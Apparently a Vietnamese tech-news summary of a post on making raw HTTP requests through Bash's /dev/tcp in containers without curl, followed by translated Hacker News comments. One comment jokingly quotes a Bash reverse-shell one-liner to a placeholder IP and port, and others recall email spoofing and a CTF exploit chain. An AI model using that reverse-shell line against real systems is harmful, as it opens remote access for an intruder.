1 điểm bởi GN⁺ 4 giờ trước | 1 bình luận | Chia sẻ qua WhatsApp
  • Trong các image container tối giản thường thiếu curl hoặc wget, nên một cách vòng để kiểm tra khả năng kết nối tới dịch vụ nội bộ mà không cần cài thêm gói là rất hữu ích
  • Chuyển hướng /dev/tcp/host/port của Bash có thể mở socket TCP, vì vậy có thể tự ghi chuỗi yêu cầu HTTP/1.1 và đọc phản hồi
  • /dev/tcp không phải là đường dẫn trong hệ thống tệp mà là tính năng nội bộ của Bash, nên ls /dev/tcp hoặc cách truy cập tệp thông thường từ shell khác sẽ không hoạt động
  • Đây là kỹ thuật gỡ lỗi đơn giản không xử lý redirect, phản hồi chunked, nén, retry hay TLS, và nếu không có Connection: close thì cat có thể sẽ chờ
  • Với các tác vụ HTTP hằng ngày thì nên dùng curl, nhưng trong container nhỏ nơi khó bổ sung công cụ thì cách này đủ để kiểm tra kết nối nhanh

Tạo yêu cầu HTTP bằng file descriptor của Bash

  • Cần kiểm tra xem có thể truy cập endpoint /health của dịch vụ khác trong mạng Docker nội bộ hay không, nhưng image lại không có curl hoặc wget
  • Bash có thể gắn socket TCP vào file descriptor, nên có thể tự viết và gửi yêu cầu HTTP như sau
exec 3<>/dev/tcp/service/8642
printf 'GET /health HTTP/1.1\r\nHost: service\r\nConnection: close\r\n\r\n' >&3
cat <&3
  • service phải là hostname có thể được phân giải và truy cập từ nơi đang chạy
    • Có thể là tên container hoặc tên service được cấu hình trong mạng Docker
    • Cũng có thể dùng tên DNS có thể phân giải được
    • Cần thay host và port cho phù hợp với môi trường
  • Kết quả phản hồi sẽ bao gồm dòng trạng thái, header, một dòng trống và phần thân
  • Nếu muốn thêm header, chỉ cần thêm các dòng kết thúc bằng \r\n trước dòng trống kết thúc yêu cầu
exec 3<>/dev/tcp/service/8642
printf 'GET /v1/models HTTP/1.1\r\nHost: service\r\nAuthorization: Bearer %s\r\nConnection: close\r\n\r\n' "$API_KEY" >&3
cat <&3

Vì sao /dev/tcp không phải là tệp thật

  • /dev/tcp không phải là file thiết bị thật mà là chuyển hướng do Bash xử lý
    • Không có đường dẫn đó trên đĩa nên ls /dev/tcp sẽ thất bại
    • Chạy cat /dev/tcp/... trong shell khác cũng sẽ báo lỗi
  • Theo Bash manual, với /dev/tcp/host/port, nếu host là hostname hợp lệ hoặc địa chỉ Internet và port là số cổng nguyên hoặc tên dịch vụ thì Bash sẽ thử mở socket TCP
  • Bash sẽ thực hiện tra cứu DNS và connect(2), còn exec 3<> sẽ gắn socket vào file descriptor 3 để có thể đọc và ghi

Không phải bản thay thế cho HTTP client mà là công cụ kiểm tra tạm thời

  • Cách này không phải HTTP client thực thụ nên không xử lý redirect, phản hồi chunked, nén, retry, TLS, v.v.
  • Header Connection: close là rất quan trọng
    • Nếu thiếu, server có thể giữ kết nối theo mặc định của HTTP/1.1
    • Khi đó cat <&3 có thể chờ EOF và không kết thúc
  • Có thể bọc bằng timeout 6 bash -c '...' để đề phòng trường hợp kết nối không đóng
  • /dev/tcp mở raw socket nên chỉ áp dụng cho HTTP thuần văn bản; với https thì cần openssl s_client
  • Đây không phải tính năng POSIX mà là tính năng của Bash, nên không dùng được trong dash/bin/sh của Debian hay trong zsh; cần gọi trực tiếp bash
  • Đây là tùy chọn lúc biên dịch, được bật bằng --enable-net-redirections khi build Bash
  • Tóm lại, đây không phải công cụ chung để thay thế curl, mà phù hợp để kiểm tra kết nối nhanh trong container nhỏ nơi không thể cài thêm gì

1 bình luận

 
Ý kiến trên Hacker News
  • Hồi còn nhỏ vào cuối những năm 90, tôi đã bị sốc khi biết rằng có thể kết nối bằng telnet tới cổng 80, 25, 110 và trò chuyện trực tiếp với máy chủ
    Có thể tự gõ một yêu cầu GET / HTTP/1.1 đơn giản, hoặc gửi mail ở cổng 25 bằng HELO, mail-from, mail-to, rồi dùng POP3 để lấy danh sách hộp thư và từng thư riêng lẻ
    Trải nghiệm đó là khởi đầu cho nhận ra rằng “không có phép thuật nào cả”, và rằng mọi phần của máy tính đều do con người tạo ra, nếu cố gắng thì có thể hiểu được đến một mức nào đó
    Trong tương lai, có lẽ phần lớn sẽ được giao cho các agent, nhưng với những ai muốn học cách hệ thống thực sự vận hành mà không qua bộ lọc của mô hình và các lớp an toàn, vẫn sẽ còn những khe hở thú vị trong nhiều hệ thống

    • Thời chưa có DKIM/SPF và xác thực máy chủ SMTP còn lỏng lẻo, bạn có thể gửi mail với địa chỉ như jacques.chirac@elysee.fr để trông giống hacker trước mặt bạn bè
    • Khi đó không chỉ chưa có DKIM hay SPF, mà phần lớn máy chủ SMTP còn là open relay, nhận mail từ bất kỳ ai gửi tới bất kỳ ai
    • Cuối cùng thì tất cả cũng chỉ là các tệp văn bản
      Đó là một cấu trúc chất đầy các chữ viết tắt được chồng lên nhiều cách để tạo, gửi và đọc các tệp văn bản có cấu trúc
      Có ngày tôi nhận ra ngay cả cơ sở dữ liệu cũng là tệp văn bản, và phải ngồi lặng đi một lúc
    • Thế kỷ trước, ở công ty người ta đọc và gửi mail cá nhân bằng cách kết nối telnet riêng tới POP3 và SMTP để xử lý
    • Với HTTP/2 thì không thể làm kiểu này, nhưng may là gần như mọi máy chủ vẫn còn nói HTTP/1
      TLS cũng không làm được bằng telnet, và nhiều máy chủ chỉ trả về redirect cho các yêu cầu HTTP
      Dùng openssl s_client thay cho telnet thì có thể tunnel văn bản bên trong TLS, nhưng cảm giác hơi giống mẹo lách
      Cũng đáng tiếc là nhiều giao thức hiện đại thích mã hóa nhị phân nên khó nghịch ở mức line nếu không có công cụ chuyên dụng
      Dù vậy, có lẽ tương lai vẫn sẽ có người đào sâu những thứ này; các kỹ thuật cũ như nhóm lửa bằng que hay nung gạch đất sét vẫn vui và đôi khi còn hữu ích thật
      Thậm chí nhờ AI mà việc thử nghiệm còn dễ hơn, không cần lục RFC mà có thể hỏi LLM để học chẳng hạn như phần lớn các lệnh IMAP thông dụng
  • zshcác mô-đun zsh/net/tcpzsh/zftp riêng, tách biệt với /dev/tcp của Bash
    https://zsh.sourceforge.io/Doc/Release/TCP-Function-System.h...
    https://zsh.sourceforge.io/Doc/Release/Zsh-Modules.html#The-...
    https://zsh.sourceforge.io/Doc/Release/Zftp-Function-System....

  • Plan 9/net, một hệ thống tệp tổng hợp thực thụ, nên từ bất kỳ chương trình nào cũng có thể làm những việc này và hơn thế nữa
    Bạn còn có thể mount /net của máy khác qua giao thức 9P để dùng như một VPN tức thời, và có thể thử nghiệm trên Linux bằng 9front
    Trong thư viện Go cũng có thể thấy dấu vết của /net kiểu Plan 9, có lẽ là di sản của Rob Pike

  • Hoạt động tốt với example.com
    Mở bằng exec 3<>/dev/tcp/example.com/80, gửi printf 'GET / HTTP/1.1\r\nHost: example.com\r\nConnection: close\r\n\r\n' >&3, rồi chạy cat <&3 thì sẽ nhận được HTTP/1.1 200 OK
    Dạo này có quá ít tên miền không ép HTTPS, nên khi thử mấy thứ này rốt cuộc lại quay về example.com

    • Cổng captive portal của WiFi công cộng bị trục trặc thì example.com cũng rất hữu ích
      Vào http://example.com trên trình duyệt sẽ bị chuyển hướng lại tới trang captive portal để có thể hoàn tất lại quy trình truy cập Internet
    • Đặt xuống dòng thật ngay bên trong printf cũng vẫn chạy
      \r thì đúng ra phải có, nhưng bỏ đi vẫn hoạt động
  • Có thể đùa rằng để nói chuyện với máy tính của bạn bè thì ai cũng dùng bash -i >& /dev/tcp/IP/PORT 0>&1

  • Không phải Bash tự nói được HTTP, mà là cho phép mở socket TCP
    Việc ở đây là tự mình nói HTTP trực tiếp; để test hay debug thì ổn và tự tay làm cũng khá thú vị, nhưng nếu dùng kiểu client HTTP giả này trong môi trường tự động thực tế thì rất dễ tự hại mình
    Đoạn mã đồ chơi này có thể hỏng vì không parse HTTP đúng cách
    Tất nhiên cũng có thể viết một client HTTP/1.1 hoàn chỉnh bằng Bash, và cũng có thể làm một máy chủ HTTP thuần Bash: https://github.com/bahamas10/bash-web-server
    Lựa chọn bớt điên rồ hơn thường là nc, và đa số trường hợp đó là phương án khôn ngoan hơn

    • Cách nói “máy chủ HTTP hoàn chỉnh bằng Bash thuần” thực ra không chính xác
      Bash không thể listen socket TCP/UDP để nhận kết nối đến
      Dự án bash-web-server build một socket listener viết bằng C, rồi dynamic load lúc runtime như một mô-đun “tích hợp sẵn” để cung cấp chức năng đó
      [0] https://github.com/bahamas10/bash-web-server/tree/main/loada...
    • Nhận xét đó đúng, và cách diễn đạt trong bài hơi quá nên tôi sẽ cập nhật cho chính xác hơn
      nc hay các công cụ cùng họ netcat tương tự sẽ là lựa chọn tốt hơn, nhưng image tôi dùng lúc đó không có những công cụ đó
    • Cũng không điên đến thế đâu
      Tôi đã gõ HTTP request bằng tay từ trước cả khi HTTP/1.1 và header Host bắt buộc xuất hiện
      Dùng cho mục đích nghiêm túc thì là hành động điên rồ, và việc triển khai web server bằng Bash cũng vậy, nhưng để test nhanh thì khá ổn
    • Thậm chí còn có người làm máy chủ Minecraft thuần Bash
      https://sdomi.pl/weblog/15-witchcraft-minecraft-server-in-ba...
    • Cũng có một framework kiểu Rails cho Bash: https://github.com/jneen/balls
  • Tôi biết đến cách này khi thấy đội Bauhinia dùng nó để giải bài CTF
    Đó là một bài CTF nhiều bước; ban đầu họ lấy được shell system bằng chuỗi ROP, nhưng thực tế đó là một môi trường kiểu nhà tù gần như không chạy được gì ngoài Bash
    Chỉ dùng được readcat, nên họ dùng cat /dev/tcp, rồi redirect nó sang terminal ảo, đọc nội dung từ đó để lấy URL hệ thống nội bộ và tìm ra flag

  • Khi kiểm tra kết nối giữa các container trong mạng Docker nội bộ, tôi phát hiện ra cách này vì image không có cả curl lẫn wget
    Điều làm tôi ngạc nhiên là Bash có /dev/tcp, nên với một chút phép thuật shell có thể tạo ra thứ gì đó gần giống HTTP request
    Ví dụ có thể mở bằng exec 3<>/dev/tcp/service/8642, gửi printf 'GET /health HTTP/1.1\r\nHost: service\r\nConnection: close\r\n\r\n' >&3, rồi cat <&3 là được
    Ở đây service là hostname đích kết nối, còn 8642 là cổng mà bạn muốn thử nói chuyện bằng HTTP

    • Nghe hay đấy, nhưng tôi tự hỏi có nhược điểm gì khiến không thể đơn giản dùng image hỗ trợ curl không
      Tôi không nghĩ ra nhược điểm nào, và xem đó gần như là thứ thiết yếu ngay cả với image production
  • Trước đây trên Debian và các bản phân phối phái sinh từ Debian, tính năng này không hoạt động vì truy cập TCP qua file ảo bị tắt mặc định
    Theo tôi hiểu thì đến năm 2009 quan điểm đã thay đổi và tính năng này được bật; Bug #146464 có thảo luận và các liên kết liên quan
    <https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=146464#37>
    Ngoài ra còn nhiều cách khác để truy cập trực tiếp chức năng mạng bằng công cụ shell, như curl, wget, các lệnh HEADGET của Perl, netcat/nc, socat, telnet, v.v.

  • Tôi còn nhớ hồi tuổi teen từng dùng echo gửi những thông điệp rùng rợn vào /dev/ptty của người khác để dọa họ
    Tin nhắn tôi gửi hiện ra như phép màu trên terminal đang mở của họ
    Đến giờ tôi vẫn không hiểu vì sao trong phòng máy người ta lại để mỗi client dùng một tài khoản khác nhau mà không khóa lại, có khi đó là giới hạn của VAX thời ấy